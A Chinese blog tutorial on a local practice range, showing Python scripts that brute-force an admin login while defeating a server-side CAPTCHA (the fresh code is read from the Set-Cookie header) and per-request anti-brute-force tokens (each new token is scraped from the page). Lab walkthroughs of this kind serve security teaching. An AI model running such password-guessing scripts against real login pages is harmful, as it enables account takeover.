Snorlax 靶场:Python 获取验证码、token 爆破

Snorlax 靶场:Python 获取验证码、token 爆破

本文发表在博客园乌漆 WhiteMoon(https://www.cnblogs.com/linfangnan/),只要不是在博客园看到这篇文章的都是爬虫的哈。

目录Snorlax 爆破验证码绕过(On Server 2)场景分析Python 脚本编写获取验证码测试密码读取密码字典实现爆破Token 防爆破?场景分析Python 脚本编写

Snorlax 爆破

Snorlax 靶场共有 5 个场景,这些场景都需要使用爆破的方式完成登录。本篇博客介绍验证码绕过(On Server 2)和 Token 防爆破,主要使用 Python 获取后端更新的验证码或者获取 token,然后再进行爆破。

基于表单的暴力破解

验证码绕过 (On Client)

验证码绕过 (On Server 1)

验证码绕过 (On Server 2)

Token 防爆破?

验证码绕过(On Server 2)

场景分析

和实验 3 的页面一样,这个页面的验证码在服务器上更新。

通过 Burp 抓包后观察得知,与实验 3 不同的是,当用户登录之后,页面将直接向后台请求一个新的验证码。此时如果想爆破,就必须保持验证码同步更新。

注意到页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,然后后端响应验证码图片,其中在 Headers 中的“Set-Cookie”字段中显示了设置的新验证码。

Python 脚本编写

因此如果我们能在每次爆破时主动发一个更新验证码的请求,然后从响应报文中提取出最新的验证码,就能实现爆破。此处选择用 Python 的 requests 库实现爆破,requests 库可以实现向服务器发请求,然后将服务器的相应信息实例化成一个 response 对象返回。

获取验证码

页面更新验证码的方式是向“/Snorlax/inc/bf_vcode2.inc.php”发请求,因此 Python 脚本先用 requests 库主动发送请求进行更新,更新后通过访问 response.headers 成员变量就可以得到最新的验证码。

由于需要防止页面有反爬虫的功能,所以要设置一下 HTTP 头绕过同源检测之类的一些机制。接着对于回传的数据,此处我获取字段后使用字符串切割进行获取。

def get_verification_code():

# 设置 HTTP 头

hd = {

'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

'Host': '127.0.0.1',

'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',

'Cookie': 'vcode=sldzoX; PHPSESSID=1aq6129v5tfpvtd702agdpt996',

}

# 发送请求

r = requests.request('POST', 'http://127.0.0.1/Snorlax/inc/bf_vcode2.inc.php', headers=hd)

# 获取回传的验证码

header = dict(r.headers)

return header['Set-Cookie'].split("=")[1]

测试密码

得到最新的验证码之后,只需要再发一次请求进爆破即可。为了避免反爬还是要设置 HTTP 头,然后调用 get_verification_code() 获取最新的验证码。根据用户登录提交的参数,依次提交用户名、用于爆破的密码和最新的验证码,提交之后根据返回的数据判断是否登录成功。

def send_request(url, username, password):

# 设置 HTTP 头

hd = {

'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

'Host': '127.0.0.1',

'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',

'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996',

}

# 获取最新的验证码

vcode = get_verification_code()

# 设置提交参数

kv = {

'username': username,

'password': password,

'vcode': vcode,

'change':'Login'

}

# 发送请求,验证是否登录成功

r = requests.request('POST', url, headers=hd, data=kv)

if "Login Success" in r.text:

return True

else:

return False

读取密码字典

读取密码字典较为简单,直接读取文本文件即可。

def get_weak_password_dict():

weak_password = []

with open('常用密码.txt',encoding='utf-8') as f:

for line in f.readlines():

weak_password.append(line.replace('\n', ''))

return weak_password

实现爆破

调用上述写好的函数,然后依次对页面发送请求来进行爆破测试,如果字典中有密码即可爆破成功。

import requests

weak_password = get_weak_password_dict()

url = 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php'

username = 'admin'

flag = 0

for password in weak_password:

if send_request(url, username, password) == 1:

print("Password is " + password)

flag = 1

break

if flag == 0:

print('Blasting failure!!!')

Token 防爆破?

场景分析

这个页面虽然没有验证码,但是在提交的表单中看到了有个 token 变量,说明页面很有可能需要通过 token 进行交互。

使用 Burp 进行抓包证明这个分析,提交用户名和密码时夹带了 token 到后台,然后后台进行响应是也会更新 token。

Python 脚本编写

因此进行爆破时,需要先获取上一次响应页面的 token,然后再进行新一轮的爆破。此处同样使用 Python 的 requests 库实现爆破,当一次测试失败时,就从页面提取 token 然后再下一次测试时使用。

import requests

# 读取字典

def get_weak_password_dict():

weak_password = ['']

with open('常用密码.txt',encoding='utf-8') as f:

for line in f.readlines():

weak_password.append(line.replace('\n', ''))

return weak_password

# 发送请求

def send_request(url, username, password, token):

hd = {

'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',

'Host': '127.0.0.1',

'Referer': 'http://127.0.0.1/Snorlax/vul/burteforce/4.bf_server2/bf_server.php',

'Cookie': 'PHPSESSID=1aq6129v5tfpvtd702agdpt996',

}

kv = {

'username': username,

'password': password,

'token': token,

'change':'Login'

}

r = requests.request('POST', url, headers=hd, data=kv)

return r.text

# 进行爆破

weak_password = get_weak_password_dict()

url = 'http://127.0.0.1/Snorlax/vul/burteforce/5.bf_token/bf_token.php'

username = 'admin'

token = ""

flag = 0

for password in weak_password:

r = send_request(url, username, password, token)

if "Login Success" in r:

print("Password is " + password)

flag = 1

break

else:

#获取 token

idx = r.find('"token" value="') + len('"token" value="')

token = r[idx :idx + 27]

if flag == 0:

print('Blasting failure!!!')

相关文章

轮毂j值等于多少厘米
bt365在线

轮毂j值等于多少厘米

📅 08-30 👁️ 7088
安卓模拟器哪个好MuMu、雷电、应用宝对比实测
365速度发国际大厅

安卓模拟器哪个好MuMu、雷电、应用宝对比实测

📅 06-26 👁️ 1584
朱元璋大杀功臣时,为何没有人起来反抗呢?其实他们根本没机会